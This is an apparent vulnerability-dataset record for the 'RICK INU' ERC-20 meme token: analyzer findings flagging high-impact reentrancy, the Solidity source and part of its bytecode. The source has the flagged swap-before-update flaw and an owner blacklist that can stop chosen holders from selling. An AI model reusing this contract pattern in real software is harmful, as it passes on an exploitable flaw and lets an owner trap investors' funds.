569b47b98f204ab8e8bf81f091462f9873dd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,772 |
0x38675af1af3d9454838573a318776cb30da35e0c
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: UNLICENSED
/*
https://rickinu.club
t.me/rickinuportal
Wubba lubba dub-dub!
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⠤⠴⠒⠒⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠒⠲⠦⢤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢀⣀⡤⠒⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠒⠤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢀⣠⠖⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢄⣀⠀⠀⠀⠀⠀
⠀⢠⠞⠁⠀⠀⠀⠀⠀⢀⣀⡤⠤⠖⠒⠚⠛⠉⠉⠉⠉⠀⠀⠉⠉⠉⠉⠉⠙⠛⠒⠒⠶⠤⢄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠀⠀
⠀⣿⠀⠀⠀⢀⣠⠴⠚⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠑⠲⠦⣄⡀⠀⠀⠀⠀⡇⠀⠀⠀
⠀⠙⠲⠶⠖⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠒⠒⠊⠁⠀⠀⠀
⠀⠀⠀⠀⠀⢀⡤⠶⠒⠋⠉⠉⠉⠉⠉⠓⠲⠤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⠴⠶⠶⠶⠶⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣠⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⢦⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠚⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢦⡀⠀⠀⠀⠀
⠀⢠⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⡄⠀⠀⠀⠀⢀⡼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⡀⠀⠀
⠀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡀⠀⠀⢀⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢳⡄⠀
⣼⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⠀
⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⡀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡀
⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠺⡗⠂⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇
⠸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿⠀⠀⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀
⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠁⠀⠀⠹⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿⠀
⠀⠀⠹⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠃⠀
⠀⠀⠀⠈⠳⢤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠔⠋⠀⠀⠀⠀⠀⠀⠀⠘⠦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠈⠉⠓⠲⠦⠤⠤⠤⠤⠶⠒⠉⠁⠀⠀⡀⠀⠀⠀⠀⠀⠀⢀⠀⠈⠓⠶⠤⣤⣀⣀⣀⣀⣀⣠⡤⠴⠚⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⣾⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠑⠢⢄⣀⣀⡀⠀⠀⠀⠀⣀⣀⣠⠤⠂⠀⠀⠀⣇⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠔⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⢿⠀⠀⠀⠀⠀⠀⡿⠀⠀⠀⠀⠉⠙⠲⠦⠤⠤⠤⠤⠴⠚⠉⠁⠀⠀⠀⠀⠀
⠀⠀⠀⢀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡇⠀⠀⠀⠀⢰⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠤⠤⠤⠤⣄⣀⠀⠀
⣀⡴⠚⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⡾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠈⠓⢦
⠁⠀⠀⢀⣠⣤⣶⣿⣿⣿⣏⠉⠉⠛⣻⣶⠢⢤⣄⡀⠀⠀⠘⢦⣀⣠⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠴⠒⠛⣷⣶⣤⣄⠀⠀
⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⡀⠀⠀⠉⣳⢤⣀⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠔⠛⣧⡀⠀⠀⢠⣿⣿⣿⣿⣿⣄
⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣶⣿⣿⠀⠈⠙⠲⣤⣀⣀⡀⢀⣀⣀⡤⠴⣾⡉⠀⠀⠀⢹⣿⣶⣶⣿⣿⣿⣿⣿⣿⣿
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣠⣾⣷⠀⠉⠉⣽⡏⠀⠀⠀⣸⣿⣦⣄⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣤⣾⣿⣷⣄⣀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠛⠛⠛⠛⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠘⣿⣿⣿⣿⣿⣿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿
⠀⠘⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⣠⣴⣶⣿⣿⣿⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠈⠻⣏⡀⠀⠀⠀⣀⠤⠾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⣿⣿⣿⡿⠋⠀⢀
⣦⡀⠀⠀⠈⠙⠦⣄⡞⠁⠀⠀⢻⡿⠏⠉⠉⠻⣿⣿⡿⠛⠿⣿⣿⡿⠛⠛⠻⣿⣿⠟⠉⠻⣿⡿⠋⠉⢿⡿⠃⠀⢀⣨⠿⠋⠀⠀⣴⠚
⠀⠉⠦⣄⠀⠀⠀⠈⠉⠲⠦⣄⣼⡁⠀⠀⠀⠀⣿⠏⠀⠀⠀⠸⡿⠁⠀⠀⠀⢹⠇⠀⠀⠀⢻⠃⠀⢀⣨⡧⠴⠒⠉⠀⠀⢀⡤⠏⠁⠀
⠀⠀⠀⠀⠙⠒⠢⠄⠀⠀⠀⠀⠈⠉⠉⠛⠒⠒⠛⠒⠲⠤⠤⠴⠧⠤⠤⠤⠤⠼⠖⠒⠒⠒⠛⠋⠉⠉⠁⠀⠀⣀⣀⡴⠞⠉⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠴⠖⠒⠒⠋⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RICK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "RICK INU";
string private constant _symbol = "RICK";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x55c5b35D34B0135673c2E4e2947c69822049a487);
_buyTax = 10;
_sellTax = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2e8 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063dbe8272c1461038e578063dc1052e2146103ae578063dd62ed3e146103ce57600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f1461030f578063a9059cbb1461032457600080fd5b8063273123b7116100f2578063273123b714610214578063313ce5671461023457806346df33b7146102505780636fc3eaec1461027057806370a082311461028557600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad5780631bbae6e0146101d257806323b872dd146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260088152675249434b20494e5560c01b60208201525b604051610174919061170b565b60405180910390f35b34801561018957600080fd5b5061019d610198366004611785565b610414565b6040519015158152602001610174565b3480156101b957600080fd5b50678ac7230489e800005b604051908152602001610174565b3480156101de57600080fd5b506101f26101ed3660046117b1565b61042b565b005b34801561020057600080fd5b5061019d61020f3660046117ca565b610477565b34801561022057600080fd5b506101f261022f36600461180b565b6104e0565b34801561024057600080fd5b5060405160098152602001610174565b34801561025c57600080fd5b506101f261026b366004611836565b61052b565b34801561027c57600080fd5b506101f2610573565b34801561029157600080fd5b506101c46102a036600461180b565b6105a7565b3480156102b157600080fd5b506101f26105c9565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102ee57600080fd5b506040805180820190915260048152635249434b60e01b6020820152610167565b34801561031b57600080fd5b506101f261063d565b34801561033057600080fd5b5061019d61033f366004611785565b61087c565b34801561035057600080fd5b506101f261035f366004611869565b610889565b34801561037057600080fd5b506101f261091f565b34801561038557600080fd5b506101f261095f565b34801561039a57600080fd5b506101f26103a93660046117b1565b610b26565b3480156103ba57600080fd5b506101f26103c93660046117b1565b610b5e565b3480156103da57600080fd5b506101c46103e936600461192e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610421338484610b96565b5060015b92915050565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590611967565b60405180910390fd5b6702c68af0bb1400008111156104745760108190555b50565b6000610484848484610cba565b6104d684336104d185604051806060016040528060288152602001611b2d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fef565b610b96565b5060019392505050565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260040161045590611967565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105555760405162461bcd60e51b815260040161045590611967565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059d5760405162461bcd60e51b815260040161045590611967565b4761047481611029565b6001600160a01b03811660009081526002602052604081205461042590611063565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161045590611967565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106675760405162461bcd60e51b815260040161045590611967565b600f54600160a01b900460ff16156106c15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610455565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072157600080fd5b505afa158015610735573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610759919061199c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a157600080fd5b505afa1580156107b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d9919061199c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082157600080fd5b505af1158015610835573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610859919061199c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610421338484610cba565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161045590611967565b60005b815181101561091b576001600660008484815181106108d7576108d76119b9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610913816119e5565b9150506108b6565b5050565b6000546001600160a01b031633146109495760405162461bcd60e51b815260040161045590611967565b6000610954306105a7565b9050610474816110e7565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161045590611967565b600e546109a99030906001600160a01b0316678ac7230489e80000610b96565b600e546001600160a01b031663f305d71947306109c5816105a7565b6000806109da6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3d57600080fd5b505af1158015610a51573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a769190611a00565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aee57600080fd5b505af1158015610b02573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190611a2e565b6000546001600160a01b03163314610b505760405162461bcd60e51b815260040161045590611967565b600c81101561047457600b55565b6000546001600160a01b03163314610b885760405162461bcd60e51b815260040161045590611967565b600c81101561047457600c55565b6001600160a01b038316610bf85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610455565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610455565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610455565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610455565b60008111610de25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610455565b6001600160a01b03831660009081526006602052604090205460ff1615610e0857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4a57506001600160a01b03821660009081526005602052604090205460ff16155b15610fdf576000600955600c54600a55600f546001600160a01b038481169116148015610e855750600e546001600160a01b03838116911614155b8015610eaa57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ebf5750600f54600160b81b900460ff165b15610eec576000610ecf836105a7565b601054909150610edf8383611270565b1115610eea57600080fd5b505b600f546001600160a01b038381169116148015610f175750600e546001600160a01b03848116911614155b8015610f3c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4d576000600955600b54600a555b6000610f58306105a7565b600f54909150600160a81b900460ff16158015610f835750600f546001600160a01b03858116911614155b8015610f985750600f54600160b01b900460ff165b15610fdd576000610faa600483611a4b565b9050610fb68183611a6d565b9150610fc1816112cf565b610fca826110e7565b478015610fda57610fda47611029565b50505b505b610fea838383611305565b505050565b600081848411156110135760405162461bcd60e51b8152600401610455919061170b565b5060006110208486611a6d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091b573d6000803e3d6000fd5b60006007548211156110ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610455565b60006110d4611310565b90506110e08382611333565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301